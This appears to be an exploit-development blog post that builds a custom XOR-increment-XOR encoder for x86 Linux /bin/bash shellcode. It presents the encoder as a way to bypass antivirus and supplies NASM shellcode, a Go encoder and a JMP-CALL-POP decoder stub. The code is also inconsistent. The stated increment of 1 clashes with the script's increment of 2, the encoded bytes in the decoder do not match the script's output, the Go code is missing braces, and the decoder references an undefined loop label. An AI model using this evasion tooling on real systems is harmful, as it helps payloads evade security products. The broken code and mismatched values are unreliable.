[ExpDev] Custom Shellcode Encoder

What is Encoder?

In computer systems, an encoder can be used for various purposes. For example, Base64 encodes binary data into an ASCII characters which are known to pretty much every computer system. Or one may use an encoder to mangle their own code to potentially bypass a security product such as AV. Today, I will demonstrate a simple custom encoding scheme for a x86 shellcode.

Encoding Scheme

The simple encoding scheme we will use is XOR-INC-XOR:

  • XOR by 0x05
  • Increment by 1
  • XOR by 0x11

Original Shellcode

We can use the following /bin/bash shellcode as an original shellcode and apply our custom encoding to it later.

; bash.nasmglobal _startsection .text_start:	xor eax, eax		; Preparing Nulls in EAX register
push eax ; Pushing the first Null DWORD

; [Reverse order of ////bin/bash]
; String length : 12
; hsab : 68736162
; /nib : 2f6e6962
; //// : 2f2f2f2f

push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f

mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp

; syscall()
mov al, 0xb
int 0x80

Using the compilerX86.py, we can retrieve the following shellcode from the bash.nasm file.

[+] ASM code: 0x31,0xc0,0x50,0x68,0x62,0x61,0x73,0x68,0x68,0x62,0x69,0x6e,0x2f,0x68,0x2f,0x2f,0x2f,0x2f,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0x0b,0xcd,0x80


As per our encoding scheme, we can encode the retrieved original shellcode by using the following Go script, encoder.go.

package mainimport "fmt"func main() {	// Hard-coded original shellcode
shellcode := []byte{0x31, 0xc0, 0x50, 0x68, 0x62, 0x61, 0x73, 0x68, 0x68, 0x62, 0x69, 0x6e, 0x2f, 0x68, 0x2f, 0x2f, 0x2f, 0x2f, 0x89, 0xe3, 0x50, 0x89, 0xe2, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80}
var key1 byte = 0x05 // 1st XOR value
var key2 byte = 0x11 // 2nd XOR value
encodedShellcode := make([]byte, len(shellcode)) for i := range shellcode { xor1 := shellcode[i] ^ key1 // 1st XOR by 0x05
inc := xor1 + 2 // Increment by 2
xor2 := inc ^ key2 // 2nd XOR by 0x11
encodedShellcode[i] = xor2
fmt.Printf("[INFO] Length: %v\n", len(encodedShellcode))
fmt.Printf("[INFO] Encoded Shellcode: ")
for c := 0; c < len(encodedShellcode); c++ { if encodedShellcode[c] < 16 { // Here to check if the Hex value is a single digit. fmt.Printf("0x0%x,", encodedShellcode[c]) } else { fmt.Printf("0x%x,", encodedShellcode[c])

When we run the script, we can get the XOR-Increment-XOR encoded shellcode.

root@kali:~/bigb0ss# go run encoder.go
[INFO] Length: 30
[INFO] Encoded Shellcode: 0x27,0xd6,0x46,0x7e,0x78,0x77,0x69,0x7e,0x7e,0x78,0x7f,0x7c,0x3d,0x7e,0x3d,0x3d,0x3d,0x3d,0x9f,0xf9,0x46,0x9f,0xf8,0x49,0x9f,0xf7,0xa6,0x01,0xdb,0x96,


Now let’s create a decoder in ASM. We will introduce a technique called JMP-Call-POP to place the encoded shellcode in ESI register and start our decoding process.

; Executable name : decoder
; Version : 1.0
; Created date : 04/21/2021
; Last update : 04/21/2021
; Author : bigb0ss
; Description : This is to run XOR-Increment-XOR decode for the
"/bin/sh" shellcode
global _startsection .text_start: jmp short call_decoder ; JMP to "call_decoder" decoder: pop esi ; POPing "shellcode" on the ESI register
xor ecx, ecx ; Zero out ECX
xor edx, edx ; Zero out EDX
mov dl, 30 ; Move 30 (length of shellcode) to c low


cmp ecx, edx ; Check if our loop is done for 30 times
je encodedshellcode
xor byte [esi], 0x11 ; 2nd XOR by 0x11
dec byte [esi] ; Decrement by 1
xor byte [esi], 0x05. ; 1st XOR by 0x05
inc esi
inc ecx
jmp short decode_loop
call_decoder: call decoder ; CALL "decoder"
encodedshellcode: db 0x24,0xd7,0x47,0x7f,0x79,0x74,0x66,0x7f,0x7f,0x79,0x7c,0x7d,0x3a,0x7f,0x3a,0x3a,0x3a,0x3a,0x9c,0xf6,0x47,0x9c,0xf9,0x46,0x9c,0xf4,0xa7,0x1e,0xd8,0x97 <-- Encoded Shellcode

Finally, let’s compile the decoder.nasm with compilerX86.py again.

By running the compiled binary (shellcode), we can confirm the decoder.nasm successfully decode our XOR-INC-XOR encoding scheme and run the expected command of /bin/bash.

Thanks for reading!

OSCE | OSCP | CREST | Offensive Security Consultant — All about Penetration Test | Red Team | Cloud Security | Web Application Security

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store